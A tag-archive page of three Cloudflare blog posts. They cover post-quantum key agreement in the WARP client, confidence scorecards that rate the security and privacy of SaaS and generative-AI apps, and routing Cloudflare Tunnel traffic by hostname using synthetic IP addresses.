Tag Archives: SASE

Securing today for the quantum future: WARP client now supports post-quantum cryptography (PQC)

Post Syndicated from Sharon Goldberg original https://blog.cloudflare.com/post-quantum-warp/

The Internet is currently transitioning to post-quantum cryptography (PQC) in preparation for Q-Day, when quantum computers break the classical cryptography that underpins all modern computer systems.  The US National Institute of Standards and Technology (NIST) recognized the urgency of this transition, announcing that classical cryptography (RSA, Elliptic Curve Cryptography (ECC)) must be deprecated by 2030 and completely disallowed by 2035.

Cloudflare is well ahead of NIST’s schedule. Today, over 45% of human-generated Internet traffic sent to Cloudflare’s network is already post-quantum encrypted. Because we believe that a secure and private Internet should be free and accessible to all, we’re on a mission to include PQC in all our products, without specialized hardware, and at no extra cost to our customers and end users.

That’s why we’re proud to announce that Cloudflare’s WARP client now supports post-quantum key agreement — both in our free consumer WARP client 1.1.1.1, and in our enterprise WARP client, the Cloudflare One Agent. 

Post-quantum tunnels using the WARP client

This upgrade of the WARP client to post-quantum key agreement provides end users with immediate protection for their Internet traffic against harvest-now-decrypt-later attacks. The value proposition is clear — by tunneling your Internet traffic over the WARP client’s post-quantum MASQUE tunnels, you get immediate post-quantum encryption of your network traffic. And this holds even if the individual connections sent through the tunnel have not yet been upgraded to post-quantum cryptography.

Here’s how it works.

When the Cloudflare One Agent (our enterprise WARP client) connects employees to the internal corporate resources as part of the Cloudflare One Zero Trust platform, it now provides end-to-end quantum encryption of network traffic. As shown in the figure below, traffic from the WARP client is wrapped in a post-quantum encrypted MASQUE (Multiplexed Application Substrate over QUIC Encryption) tunnel, sent to Cloudflare’s global network network (link (1)). Cloudflare’s global network then forwards the traffic another set of post-quantum encrypted tunnels (link (2)), and then finally on to the internal corporate resource using a post-quantum encrypted Cloudflare Tunnel established using the cloudflared agent (which installed near the corporate resource) (link (3)). 


We have upgraded the Cloudflare One Agent to post-quantum key agreement, providing end-to-end post quantum protection for traffic sent to internal corporate resources. 

When an end user installs the consumer WARP Client (1.1.1.1), the WARP client wraps the end user’s network traffic in a post-quantum encrypted MASQUE tunnel. As shown in the figure below, the MASQUE tunnel protects the traffic on its way to Cloudflare’s global network (link (1)). Cloudflare’s global network then uses post-quantum encrypted tunnels to bring the traffic as close as possible to its final destination (link (2)). Finally, the traffic is forwarded over the public Internet to the origin server (i.e. its final destination). That final connection (link (3)) may or may not be post-quantum (PQ). It will not be PQ if the origin server is not PQ.  It will be PQ if the origin server is (a) upgraded to PQC, and (b) the end user is connecting to over a client that supports PQC (like Chrome, Edge or Firefox).  In the future, Automatic SSL/TLS will ensure that your entire connection will be PQ as long as the origin server is behind Cloudflare and supports PQ connections (even if your browser doesn’t).


Consumer WARP client (1.1.1.1) is now upgraded to post-quantum key agreement.

The cryptography landscape

Before we get into the details of our upgrade to the WARP client, let’s review the different cryptographic primitives involved in the transition to PQC. 

Key agreement is a method by which two or more parties can establish a shared secret key over an insecure communication channel. This shared secret can then be used to encrypt and authenticate subsequent communications. Classical key agreement in Transport Layer Security (TLS) typically uses the Elliptic Curve Diffie Hellman (ECDH) cryptographic algorithm, whose security can be broken by a quantum computer using Shor’s algorithm. 

We need post-quantum key agreement today to stop harvest-now-decrypt-later attacks, where attackers collect encrypted data today, and then decrypt it in future once powerful quantum computers become available. Any institution that deals with data that could still be valuable ten years in the future (governments, financial institutions, healthcare organizations, and more) should deploy PQ key agreement to prevent these attacks.

This is why we upgraded the WARP client to post-quantum key agreement.

Post-quantum key agreement is already quite mature and performant; our experiments have shown that deploying the post-quantumModule-Lattice-Based Key-Encapsulation Mechanism (ML-KEM) algorithm in hybrid mode (in parallel with classical ECDH) over TLS 1.3 is actually more performant than using TLS 1.2 with classical cryptography. 


Over one-third of the human-generated traffic to our network uses TLS 1.3 with hybrid post-quantum key agreement (shown as X25519MLKEM768 in the screen capture above); in fact, if you’re on a Chrome, Edge or Firefox browser, you’re probably reading this blog right now over a PQ encrypted connection.

Post-quantum digital signatures and certificates, by contrast, are still in the process of being standardized for use in TLS and the Internet’s Public Key Infrastructure (PKI). PQ signatures and certificates are required to prevent an active attacker who uses a quantum computer to forge a digital certificate/signature and then uses it to decrypt or manipulate communications by impersonating a trusted server. As far as we know, we don’t have such attackers yet, which is why post-quantum signatures and certificates are not widely deployed across the Internet. We have not yet upgraded the WARP client to PQ signatures and certificates, but we plan to do so soon.

A unique challenge: PQC upgrade in the WARP client 

While Cloudflare is on the forefront of the PQC transition, a different kind of challenge emerged when we upgraded our WARP client. Unlike a server that we fully control and can hotfix at any time, our WARP client runs directly on end user devices. In fact, it runs on millions of end user devices that we do not control. This fundamental difference means that every time we update the WARP client, our release must work properly on the first try, with no room for error.

To make things even more challenging, we need to support the WARP client across five different operating systems (Windows, macOS, Linux, iOS, and Android/ChromeOS), while also ensuring consistency and reliability for both our consumer 1.1.1.1 WARP client and our Cloudflare One Agent. In addition, because the WARP client relies on the fairly new MASQUE protocol, which the industry only standardized in August 2022, we need to be extra careful to make sure our upgrade to post-quantum key agreement does not expose latent bugs or instabilities in the MASQUE protocol itself. 

All these challenges point to a slow and careful transition to PQC in the WARP client, while still supporting customers that want to immediately activate PQC. To accomplish this, we used three techniques: 

  1. temporary PQC downgrades, 

  2. gradual rollout across our WARP client population, and

  3. a Mobile Device Management (MDM) override. 

Let’s take a deep dive into each. 

Temporary PQC downgrades

As we roll out PQ key agreement in MASQUE to the WARP client, we want to make sure we don’t have WARP clients that struggle to connect due to an error, middlebox, or a latent implementation bug triggered by our PQC migration. One way to accomplish this level of robustness is to have clients downgrade to a classic cryptographic connection if they fail to negotiate a PQ connection.

To really understand this strategy, we need to review the concept of cryptographic downgrades. In cryptography, a downgrade attack is a cyber attack where an attacker forces a system to abandon a secure cryptographic algorithm in favor of an older, less secure, or even unencrypted one that allows the attacker to introspect on the communications. Thus, when newly rolling out a PQ encryption, it is standard practice to ensure that: if the client and server both support PQ encryption, it should not be possible for an attacker to downgrade their connection to a classic encryption. 

Thus, to prevent downgrade attacks, we should ensure that if the client and server both support PQC, but fail to negotiate a PQC connection, then the connection will just fail. However, while this prevents downgrade attacks, it also creates problems with robustness.

We cannot have both robustness (i.e. the ability for client to downgrade to a classical connection if the PQC fails) and security against downgrades (i.e. the client is forbidden to downgrade to classical cryptography once it supports PQC) at the same time. We have to choose one. For this reason, we opted for a phased approach.

  • Phase 1: Automated PQC downgrades. We start by choosing robustness at the cost of providing security against downgrade attacks.  In this phase, we support automated PQC downgrades — if a client fails to negotiate a PQC connection, it will downgrade to classical cryptography. That way, if there are bugs or other instability introduced by PQC, the client automatically downgrades to classical cryptography and the end user will not experience any issues. (Note: because MASQUE establishes a single very long-lived TLS connection only when the user logs in, an end user is unlikely to notice a downgrade.) 

  • Phase 2: PQC with security against downgrades. Then, once the rollout is stable and we are convinced that there are no issues interfering with PQC, we will choose security against downgrade attacks over robustness. In this phase, if a client fails to negotiate a PQC connection, the connection will just fail, which provides security against downgrade attacks.

To implement this phased approach, we introduced an API flag that the client uses to determine how it should initiate TLS handshakes, which has three states:

  • No PQC: The client initiates a TLS handshake using classical cryptography only. .

  • PQC downgrades allowed: The client initiates a TLS handshake using post-quantum key agreement. If the PQC handshake negotiation fails, the client downgrades to classical cryptography. This flag supports Phase 1 of our rollout. 

  • PQC only: The client initiates a TLS handshake using post-quantum key agreement cryptography. If the PQC handshake negotiation fails, the connection fails. This flag supports Phase 2 of our rollout.

The WARP desktop version 2025.5.893.0, iOS version 1.11 and Android version 2.4.2 all support post-quantum key agreement along with this API flag.

With this as our framework, the next question becomes: what timing makes sense for this phased approach?

Gradual rollout across the WARP client population

To limit the risk of errors or latent implementation bugs triggered by our PQC migration, we gradually rolled out PQC across our population of WARP clients.

In Phase 1 of our rollout, we prioritized robustness rather than security against downgrade attacks. Thus, initially the API flag is set to “No PQC” for our entire client population, and we gradually turn on the “PQC downgrades allowed” across groups of clients. As we do this, we monitor whether any clients downgrade from PQC to classical cryptography. At the time of this writing, we have completed the Phase 1 rollout to all of our consumer WARP (1.1.1.1) clients. We expect to complete Phase 1 for our Cloudflare One Agent by the end of 2025.

Downgrades are not expected during Phase 1. In fact, downgrades indicate that there may be a latent issue that we have to fix. If you are using a WARP client and encounter issues that you believe might be related to PQC, you can let us know by using the feedback button in the WARP client interface (by clicking the bug icon in the top-right corner of the WARP client application). Enterprise users can also file a support ticket for the Cloudflare One Agent.

We plan to enter Phase 2 — where the API flag is set to “PQC only” in order to provide security against downgrade attacks — by summer of mid 2026. 

MDM override

Finally, we know that some of our customers may not be willing to wait for us to complete this careful upgrade to PQC. So, those customers can activate PQC right now. 

We’ve built a Mobile Device Management (MDM) override for the Cloudflare One Agent. MDM allows organizations to centrally manage, monitor, and secure mobile devices that access corporate resources; it works on multiple types of devices, not just mobile devices. The override for the Cloudflare One Agent allows an administrator (with permissions to manage the device) to turn on PQC. To use the MDM post-quantum override, set the ‘enable_post_quantum’ MDM flag to true. This flag takes precedence over the signal from the API flag we described earlier, and will activate PQC without downgrades. With this setting, the client will only negotiate a PQC connection. And if the PQC negotiation fails, the connection will fail, which provides security against downgrade attacks. 

Ciphersuites, FIPS and Fedramp 

The Federal Risk and Authorization Management Program (FedRAMP) is a U.S. government standard for securing federal data in the cloud. Cloudflare has a FedRAMP certification that requires that we use cryptographic ciphersuites that comply with FIPS (Federal Information Processing Standards) for certain products that are inside our FIPS boundary.

Because the WARP client is inside Cloudflare’s FIPS boundary for our FedRAMP certification, we had to ensure it uses FIPS-compliant cryptography. For internal links (where Cloudflare controls both sides of the connection) within the FIPS boundary, we currently use a hybrid key agreement consisting of FIPS-compliant EDCH using the P256 Elliptic curve, in parallel with an early version of ML-KEM-768 (which we started using before the ML-KEM standards were finalized) — a key agreement called P256Kyber768Draft00. To observe this ciphersuite in action in your WARP client, you can use the warp-cli tunnel stats utility. Here’s an example of what we find when PQC is enabled:


And here is an example when PQC is not enabled:


PQC tunnels for everyone 

We believe that PQC should be available to everyone, without specialized hardware, at no additional cost. To that end, we’re proud to help shoulder the burden of the Internet’s upgrade to PQC.

A powerful strategy is to use tunnels protected by post-quantum key agreement to protect Internet traffic, in bulk, from harvest-now-decrypt-later attacks – even if the individual connections sent through the tunnel have not yet been upgraded to PQC. Eventually, we will upgrade these tunnels to also support post-quantum signatures and certificates, to stop active attacks by adversaries armed with quantum computers after Q-Day.

This staged approach keeps up with Internet standards. And the use of tunnels provides customers and end users with built-in cryptographic agility, so they can easily adapt to changes in the cryptographic landscape without a major architectural overhaul.

Cloudflare’s WARP client is just the latest tunneling technology that we’ve upgraded to post-quantum key agreement. You can try it out today for free on personal devices using our free consumer WARP client 1.1.1.1, or for your corporate devices using our free zero-trust offering for teams of under 50 users or a paid enterprise zero-trust or SASE subscription. Just download and install the client on your Windows, Linux, macOS, iOS, Android/ChromeOS device, and start protecting your network traffic with PQC.

Cloudflare Confidence Scorecards – making AI safer for the Internet

Post Syndicated from Ayush Kumar original https://blog.cloudflare.com/cloudflare-confidence-scorecards-making-ai-safer-for-the-internet/

Security and IT teams face an impossible balancing act: Employees are adopting AI tools every day, but each tool carries unique risks tied to compliance, data privacy, and security practices. Employees using these tools without seeking prior approval leads to a new type of Shadow IT which is referred to as Shadow AI. Preventing Shadow AI requires manually vetting each AI application to determine whether it should be approved or disapproved. This isn’t scalable. And blanket bans of AI applications will only drive AI usage deeper underground, making it harder to secure.

That’s why today we are launching Cloudflare Application Confidence Scorecards. This is part of our new suite of AI Security features within the Cloudflare One SASE platform. These scores bring scale and automation to the labor- and time-intensive task of evaluating generative AI and SaaS applications one by one. Instead of spending hours trying to find AI applications’ compliance certifications or data-handling practices, evaluators get a clear score that reflects an application’s safety and trustworthiness. With that signal, decision makers within organizations can confidently set policies or apply guardrails where needed, and block risky tools so their organizations can embrace innovation without compromising security.

Our Cloudflare Application Confidence Scorecards rate both AI-powered applications on a number of factors, including whether they’ve achieved industry-recognized certifications, follow certain data management and security measures, and the maturity level of the company. Meanwhile, amongst other considerations, our Generative AI confidence score awards higher scores to AI models that provide system cards that describe testing for bias, ethics, and safety considerations, and that do not train on user inputs.  We hope our emphasis on privacy, security, and safety helps drive safer and more secure AI for everyone.



Rapid increase in Shadow AI

Over the last decade, SaaS adoption has reshaped how businesses work. Employees can now pick up a new tool in minutes with nothing more than a credit card or free trial link. Now with the growth of generative AI, entire workflows are moving outside corporate oversight. From writing assistants to image generators, employees are relying on these tools daily, without knowing whether they comply with corporate or regulatory requirements. 

The risks of these tools are wide-ranging. Sensitive data can be stored or transmitted outside of company controls. Tools may lack certifications such as SOC2 or ISO 27001. Many providers retain user data indefinitely or use it to train external models. Others face financial or operational instability that could disrupt your business if they go bankrupt or suffer a breach. Models can produce biased outputs that can introduce compliance risks or lead to erroneous business decisions. Security leaders tell us they cannot keep up with auditing every new application.  

We score them for you, at scale

In order to make this effective, we needed two things: a rubric that could judge AI and SaaS applications, and then a mechanism to scalably score all those applications. Here’s how we did it.

How the rubric works

The Application Posture Score (5 points) evaluates a SaaS provider across five major categories:

  • Security and Privacy Compliance (1.2 points): Credit for SOC 2 and ISO 27001 certifications, which signal operational maturity.

  • Data Management Practices (1 point): Retention windows and whether the provider shares data with third parties. Shorter retention and no sharing earns the highest marks.

  • Security Controls (1 point): Support for MFA, SSO, TLS 1.3, role-based access, and session monitoring. These are the table stakes of modern SaaS security.

  • Security Reports and Incident History (1 point): Availability of a trust or security page, bug bounty program, and incident response transparency. A recent material breach results in a full deduction.

  • Financial Stability (.8 points): Public companies and heavily capitalized providers score highest, while startups with less funding or firms in distress score lower.

The Gen-AI Posture Score (5 points) evaluates AI-specific risks:

  • Compliance (1 point): Presence of the ISO 42001 certification for AI management systems.

  • Deployment Security Model (1 point): Whether access is authenticated and rate-limited or left publicly exposed.

  • System Card (1 point): Publication of a model or system card that documents evaluations of safety, bias, and risk.

  • Training Data Governance (2 points): Whether user data is explicitly excluded from model training or if there are available controls allowing opt-in/opt-out of training user data.

Together, these scores give a transparent view of how much confidence you can place in a provider.

How we score at scale

In the same way it’s not scalable for you to stay on top of every new AI and SaaS tool being created, our team quickly realized that we too would have the same problem. AI applications are being spun up so quickly that trying to keep pace manually would require a large team of people. 

We knew we had to build a methodology to do it automatically, so we designed infrastructure that can crawl the Internet to answer the rubric questions at scale. We built a system that scrapes public trust centers, privacy policies, security pages, and compliance documents. Large language models parse those documents to identify relevant answers, but we also hardened the process to resist hallucinations by requiring source validation and structured extraction.


Every score produced by automation is then reviewed and audited by Cloudflare analysts before it goes live in the Application Library. This combination of automated crawling/extraction and human validation makes sure that the scores are both comprehensive and trustworthy.

We make it easy to act on it

Confidence scores are built directly into the Application Library, making them actionable from day one. When you click on a score in your Cloudflare dashboard, you will see a detailed breakdown of how the app performed across each dimension of the rubric. Scores update as vendors improve their security and compliance, giving you a live view instead of a static report.


This approach makes life easier for every stakeholder. IT and security teams can spot high-risk tools at a glance. Procurement Governance Risk & Compliance teams can accelerate vendor reviews while developers and employees can make smarter choices without waiting weeks for approvals.

And it’s getting even better

Visibility is just the start. Soon, these scores will also drive enforcement across your Cloudflare One environment. You will be able to use Gateway to block or warn employees about low-scoring apps or tie DLP policies directly to confidence scores. That way untrusted AI and SaaS providers never become a backdoor for sensitive information.

By embedding scores into both visibility and enforcement, we are turning them into a tool for keeping your corporate environment safer.

Interested in these scores?

Cloudflare Application Confidence Scorecards are now live in the Application Library. You can explore them today in the Cloudflare dashboard, use them to evaluate the tools your teams rely on, and soon enforce policies across the Cloudflare Zero Trust platform.

This is one more step in our mission to make the Internet safer, faster, and more reliable not just for networks, but for the applications and AI tools that power modern work.

If you are a Cloudflare customer you can check out the Application Library, explore the confidence scores, and let us know what you think. And if you’re not — fear not! — application scores are freely available to all users, including free. You can get started by simply creating a free account — and seeing these scores yourself. 

Finally, if you want to get involved testing new functionality or sharing insights related to AI security, we would love for you to express interest in joining our user research program. 

Connect and secure any private or public app by hostname, not IP — free for everyone in Cloudflare One

Post Syndicated from Nikita Cano original https://blog.cloudflare.com/tunnel-hostname-routing/

Connecting to an application should be as simple as knowing its name. Yet, many security models still force us to rely on brittle, ever-changing IP addresses. And we heard from many of you that managing those ever-changing IP lists was a constant struggle. 

Today, we’re taking a major step toward making that a relic of the past.

We’re excited to announce that you can now route traffic to Cloudflare Tunnel based on a hostname or a domain. This allows you to use Cloudflare Tunnel to build simple zero-trust and egress policies for your private and public web applications without ever needing to know their underlying IP. This is one more step on our mission to strengthen platform-wide support for hostname- and domain-based policies in the Cloudflare One SASE platform, simplifying complexity and improving security for our customers and end users. 

Grant access to applications, not networks

In August 2020, the National Institute of Standards (NIST) published Special Publication 800-207, encouraging organizations to abandon the “castle-and-moat” model of security (where trust is established on the basis of network location) and move to a Zero Trust model (where we “verify anything and everything attempting to establish access“).

Now, instead of granting broad network permissions, you grant specific access to individual resources. This concept, known as per-resource authorization, is a cornerstone of the Zero Trust framework, and it presents a huge change to how organizations have traditionally run networks. Per-resource authorization requires that access policies be configured on a per-resource basis. By applying the principle of least privilege, you give users access only to the resources they absolutely need to do their job. This tightens security and shrinks the potential attack surface for any given resource.

Instead of allowing your users to access an entire network segment, like 10.131.0.0/24, your security policies become much more precise. For example:

  • Only employees in the “SRE” group running a managed device can access admin.core-router3-sjc.acme.local.

  • Only employees in the “finance” group located in Canada can access canada-payroll-server.acme.local.

  • All employees located in New York can access printer1.nyc.acme.local.

Notice what these powerful, granular rules have in common? They’re all based on the resource’s private hostname, not its IP address. That’s exactly what our new hostname routing enables. We’ve made it dramatically easier to write effective zero trust policies using stable hostnames, without ever needing to know the underlying IP address.

Why IP-based rules break

Let’s imagine you need to secure an internal server, canada-payroll-server.acme.local. It’s hosted on internal IP 10.4.4.4 and its hostname is available in internal private DNS, but not in public DNS. In a modern cloud environment, its IP address is often the least stable thing about it. If your security policy is tied to that IP, it’s built on a shaky foundation.

This happens for a few common reasons:

  • Cloud instances: When you launch a compute instance in a cloud environment like AWS, you’re responsible for its hostname, but not always its IP address. As a result, you might only be tracking the hostname and may not even know the server’s IP.

  • Load Balancers: If the server is behind a load balancer in a cloud environment (like AWS ELB), its IP address could be changing dynamically in response to changes in traffic.

  • Ephemeral infrastructure: This is the “cattle, not pets” world of modern infrastructure. Resources like servers in an autoscaling group, containers in a Kubernetes cluster, or applications that spin down overnight are created and destroyed as needed. They keep a persistent hostname so users can find them, but their IP is ephemeral and changes every time they spin up.

To cope with this, we’ve seen customers build complex scripts to maintain dynamic “IP Lists” — mappings from a hostname to its IPs that are updated every time the address changes. While this approach is clever, maintaining IP Lists is a chore. They are brittle, and a single error could cause employees to lose access to vital resources.

Fortunately, hostname-based routing makes this IP List workaround obsolete.

How it works: secure a private server by hostname using Cloudflare One SASE platform

To see this in action, let’s create a policy from our earlier example: we want to grant employees in the “finance” group located in Canada access to canada-payroll-server.acme.local. Here’s how you do it, without ever touching an IP address.

Step 1: Connect your private network

First, the server’s network needs a secure connection to Cloudflare’s global network. You do this by installing our lightweight agent, cloudflared, in the same local area network as the server, which creates a secure Cloudflare Tunnel. You can create a new tunnel directly from cloudflared by running cloudflared tunnel create <TUNNEL-NAME> or using your Zero Trust dashboard.

Step 2: Route the hostname to the tunnel

This is where the new capability comes into play. In your Zero Trust dashboard, you now establish a route that binds the hostname canada-payroll-server.acme.local directly to that tunnel. In the past, you could only route an IP address (10.4.4.4) or its subnet (10.4.4.0/24). That old method required you to create and manage those brittle IP Lists we talked about. Now, you can even route entire domains, like *.acme.local, directly to the tunnel, simply by creating a hostname route to acme.local.


For this to work, you must delete your private network’s subnet (in this case 10.0.0.0/8) and 100.64.0.0/10 from the Split Tunnels Exclude list. You also need to remove .local from the Local Domain Fallback.

(As an aside, we note that this feature also works with domains. For example, you could bind *.acme.local to a single tunnel, if desired.)

Step 3: Write your zero trust policy

Now that Cloudflare knows how to reach your server by its name, you can write a policy to control who can access it. You have a couple of options:

  • In Cloudflare Access (for HTTPS applications): Write an Access policy that grants employees in the “finance” group access to the private hostname canada-payroll-server.acme.local. This is ideal for applications accessible over HTTPS on port 443.


  • In Cloudflare Gateway (for HTTPS applications): Alternatively, write a Gateway policy that grants employees in the “finance” group access to the SNI canada-payroll-server.acme.local. This works for services accessible over HTTPS on any port.


  • In Cloudflare Gateway (for non-HTTP applications): You can also write a Gateway policy that blocks DNS resolution canada-payroll-server.acme.local for all employees except the “finance” group.


The principle of “trust nothing” means your security posture should start by denying traffic by default. For this setup to work in a true Zero Trust model, it should be paired with a default Gateway policy that blocks all access to your internal IP ranges. Think of this as ensuring all doors to your private network are locked by default. The specific allow policies you create for hostnames then act as the keycard, unlocking one specific door only for authorized users.

Without that foundational “deny” policy, creating a route to a private resource would make it accessible to everyone in your organization, defeating the purpose of a least-privilege model and creating significant security risks. This step ensures that only the traffic you explicitly permit can ever reach your corporate resources.

And there you have it. We’ve walked through the entire process of writing a per-resource policy using only the server’s private hostname. No IP Lists to be seen anywhere, simplifying life for your administrators.

Secure egress traffic to third-party applications

Here’s another powerful use case for hostname routing: controlling outbound connections from your users to the public Internet. Some third-party services, such as banking portals or partner APIs, use an IP allowlist for security. They will only accept connections that originate from a specific, dedicated public source IP address that belongs to your company.

This common practice creates a challenge. Let’s say your banking portal at bank.example.com requires all traffic to come from a dedicated source IP 203.0.113.9 owned by your company. At the same time, you want to enforce a zero trust policy that only allows your finance team to access that portal. You can’t build your policy based on the bank’s destination IP — you don’t control it, and it could change at any moment. You have to use its hostname.

There are two ways to solve this problem. First, if your dedicated source IP is purchased from Cloudflare, you can use the “egress policy by hostname” feature that we announced previously. By contrast, if your dedicated source IP belongs to your organization, or is leased from cloud provider, then we can solve this problem with hostname-based routing, as shown in the figure below:


Here’s how this works:

  1. Force traffic through your dedicated IP. First, you deploy a Cloudflare Tunnel in the network that owns your dedicated IP (for example, your primary VPC in a cloud provider). All traffic you send through this tunnel will exit to the Internet with 203.0.113.9 as its source IP.

  2. Route the banking app to that tunnel. Next, you create a hostname route in your Zero Trust dashboard. This rule tells Cloudflare: “Any traffic destined for bank.example.com must be sent through this specific tunnel.”

  3. Apply your user policies. Finally, in Cloudflare Gateway, you create your granular access rules. A low-priority network policy blocks access to the SNI bank.example.com for everyone. Then, a second, higher-priority policy explicitly allows users in the “finance” group to access the SNI bank.example.com.

Now, when a finance team member accesses the portal, their traffic is correctly routed through the tunnel and arrives with the source IP the bank expects. An employee from any other department is blocked by Gateway before their traffic even enters the tunnel. You’ve enforced a precise, user-based zero trust policy for a third-party service, all by using its public hostname.

Under the hood: how hostname routing works

To build this feature, we needed to solve a classic networking challenge. The routing mechanism for Cloudflare Tunnel is a core part of Cloudflare Gateway, which operates at both Layer 4 (TCP/UDP) and Layer 7 (HTTP/S) of the network stack.

Cloudflare Gateway must make a decision about which Cloudflare Tunnel to send traffic upon receipt of the very first IP packet in the connection. This means the decision must necessarily be made at Layer 4, where Gateway only sees the IP and TCP/UDP headers of a packet. IP and TCP/UDP headers contain the destination IP address, but do not contain destination hostname. The hostname is only found in Layer 7 data (like a TLS SNI field or an HTTP Host header), which isn’t even available until after the Layer 4 connection is already established.

This creates a dilemma: how can we route traffic based on a hostname before we’ve even seen the hostname? 

Synthetic IPs to the rescue

The solution lies in the fact that Cloudflare Gateway also acts as a DNS resolver. This means we see the user’s intent — the DNS query for a hostname — before we see the actual application traffic. We use this foresight to “tag” the traffic using a synthetic IP address.


Let’s walk through the flow:

  1. DNS Query. A user’s device sends a DNS query for
    canada-payroll-server.acme.local to the Gateway resolver.

  2. Private Resolution. Gateway asks the cloudflared agent running in your private network to resolve the real IP for that hostname. Since cloudflared has access to your internal DNS, it finds the real private IP 10.4.4.4, and sends it back to the Gateway resolver.

  3. Synthetic Response. Here’s the key step. Gateway resolver does not send the real IP (10.4.4.4) back to the user. Instead, it temporarily assigns an initial resolved IP from a reserved Carrier-Grade NAT (CGNAT) address space (e.g., 100.80.10.10) and sends the initial resolved IP back to the user’s device. The initial resolved IP acts as a tag that allows Gateway to identify network traffic destined to canada-payroll-server.acme.local. The initial resolved IP is randomly selected and temporarily assigned from one of the two IP address ranges:

    • IPv4: 100.80.0.0/16

    • IPv6: 2606:4700:0cf1:4000::/64 

  4. Traffic Arrives. The user’s device sends its application traffic (e.g., an HTTPS request) to the destination IP it received from Gateway resolver: the initial resolved IP 100.80.10.10.

  5. Routing and Rewriting. When Gateway sees an incoming packet destined for 100.80.10.10, it knows this traffic is for canada-payroll-server.acme.local and must be sent through a specific Cloudflare Tunnel. It then rewrites the destination IP on the packet back to the real private destination IP (10.4.4.4) and sends it down the correct tunnel.

The traffic goes down the tunnel and arrives at canada-payroll-server.acme.local at IP (10.4.4.4) and the user is connected to the server without noticing any of these mechanisms. By intercepting the DNS query, we effectively tag the network traffic stream, allowing our Layer 4 router to make the right decision without needing to see Layer 7 data.

Using Gateway Resolver Policies for fine grained control

The routing capabilities we’ve discussed provide simple, powerful ways to connect to private resources. But what happens when your network architecture is more complex? For example, what if your private DNS servers are in one part of your network, but the application itself is in another?

With Cloudflare One, you can solve this by creating policies that separate the path for DNS resolution from the path for application traffic for the very same hostname using Gateway Resolver Policies. This gives you fine-grained control to match complex network topologies.

Let’s walk through a scenario:

  • Your private DNS resolvers, which can resolve acme.local, are located in your core datacenter, accessible only via tunnel-1.

  • The webserver for canada-payroll-server.acme.local is hosted in a specific cloud VPC, accessible only via tunnel-2.


Here’s how to configure this split-path routing.

Step 1: Route DNS Queries via tunnel-1

First, we need to tell Cloudflare Gateway how to reach your private DNS server

  1. Create an IP Route: In the Networks > Tunnels area of your Zero Trust dashboard, create a route for the IP address of your private DNS server (e.g., 10.131.0.5/32) and point it to tunnel-1. This ensures any traffic destined for that specific IP goes through the correct tunnel to your datacenter.


  2. Create a Resolver Policy: Go to Gateway -> Resolver Policies and create a new policy with the following logic:

    • If the query is for the domain acme.local …

    • Then… resolve it using a designated DNS server with the IP 10.131.0.5.


With these two rules, any DNS lookup for acme.local from a user’s device will be sent through tunnel-1 to your private DNS server for resolution.

Step 2: Route Application Traffic via tunnel-2

Next, we’ll tell Gateway where to send the actual traffic (for example, HTTP/S) for the application.

Create a Hostname Route: In your Zero Trust dashboard, create a hostname route that binds canada-payroll-server.acme.local to tunnel-2.


This rule instructs Gateway that any application traffic (like HTTP, SSH, or any TCP/UDP traffic) for canada-payroll-server.acme.local must be sent through tunnel-2 leading to your cloud VPC.

Similarly to a setup without Gateway Resolver Policy, for this to work, you must delete your private network’s subnet (in this case 10.0.0.0/8) and 100.64.0.0/10 from the Split Tunnels Exclude list. You also need to remove .local from the Local Domain Fallback.

Putting It All Together

With these two sets of policies, the “synthetic IP” mechanism handles the complex flow:

  1. A user tries to access canada-payroll-server.acme.local. Their device sends a DNS query to Cloudflare Gateway Resolver.

  2. This DNS query matches a Gateway Resolver Policy, causing Gateway Resolver to forward the DNS query through tunnel-1 to your private DNS server (10.131.0.5).

  3. Your DNS server responds with the server’s actual private destination IP (10.4.4.4).

  4. Gateway receives this IP and generates a “synthetic” initial resolved IP (100.80.10.10) which it sends back to the user’s device.

  5. The user’s device now sends the HTTP/S request to the initial resolved IP (100.80.10.10).

  6. Gateway sees the network traffic destined for the initial resolved IP (100.80.10.10) and, using the mapping, knows it’s for canada-payroll-server.acme.local.

  7. The Hostname Route now matches. Gateway sends the application traffic through tunnel-2 and rewrites its destination IP to the webserver’s actual private IP (10.4.4.4).

  8. The cloudflared agent at the end of tunnel-2 forwards the traffic to the application’s destination IP (10.4.4.4), which is on the same local network.

The user is connected, without noticing that DNS and application traffic have been routed over totally separate private network paths. This approach allows you to support sophisticated split-horizon DNS environments and other advanced network architectures with simple, declarative policies.

What onramps does this support?

Our hostname routing capability is built on the “synthetic IP” (also known as initially resolved IP) mechanism detailed earlier, which requires specific Cloudflare One products to correctly handle both the DNS resolution and the subsequent application traffic. Here’s a breakdown of what’s currently supported for connecting your users (on-ramps) and your private applications (off-ramps).

Connecting Your Users (On-Ramps)

For end-users to connect to private hostnames, the feature currently works with WARP Client, agentless PAC files and Browser Isolation.

Connectivity is also possible when users are behind Magic WAN (in active-passive mode) or WARP Connector, but it requires some additional configuration. To ensure traffic is routed correctly, you must update the routing table on your device or router to send traffic for the following destinations through Gateway:

  • The initially resolved IP ranges: 100.80.0.0/16 (IPv4) and 2606:4700:0cf1:4000::/64 (IPv6).

  • The private network CIDR where your application is located (e.g., 10.0.0.0/8).

  • The IP address of your internal DNS resolver.

  • The Gateway DNS resolver IPs: 172.64.36.1 and 172.64.36.2.

Magic WAN customers will also need to point their DNS resolver to these Gateway resolver IPs and ensure they are running Magic WAN tunnels in active-passive mode: for hostname routing to work, DNS queries and the resulting network traffic must reach Cloudflare over the same Magic WAN tunnel. Currently, hostname routing will not work if your end users are at a site that has more than one Magic WAN tunnel actively transiting traffic at the same time.

Connecting Your Private Network (Off-Ramps)

On the other side of the connection, hostname-based routing is designed specifically for applications connected via Cloudflare Tunnel (cloudflared). This is currently the only supported off-ramp for routing by hostname.

Other traffic off-ramps, while fully supported for IP-based routing, are not yet compatible with this specific hostname-based feature. This includes using Magic WAN, WARP Connector, or WARP-to-WARP connections as the off-ramp to your private network. We are actively working to expand support for more on-ramps and off-ramps in the future, so stay tuned for more updates.

Conclusion

By enabling routing by hostname directly within Cloudflare Tunnel, we’re making security policies simpler, more resilient, and more aligned with how modern applications are built. You no longer need to track ever-changing IP addresses. You can now build precise, per-resource authorization policies for HTTPS applications based on the one thing that should matter: the name of the service you want to connect to. This is a fundamental step in making a zero trust architecture intuitive and achievable for everyone.

This powerful capability is available today, built directly into Cloudflare Tunnel and free for all Cloudflare One customers.

Ready to leave IP Lists behind for good? Get started by exploring our developer documentation to configure your first hostname route. If you’re new to Cloudflare One, you can sign up today and begin securing your applications and networks in minutes.

Best Practices for Securing Generative AI with SASE

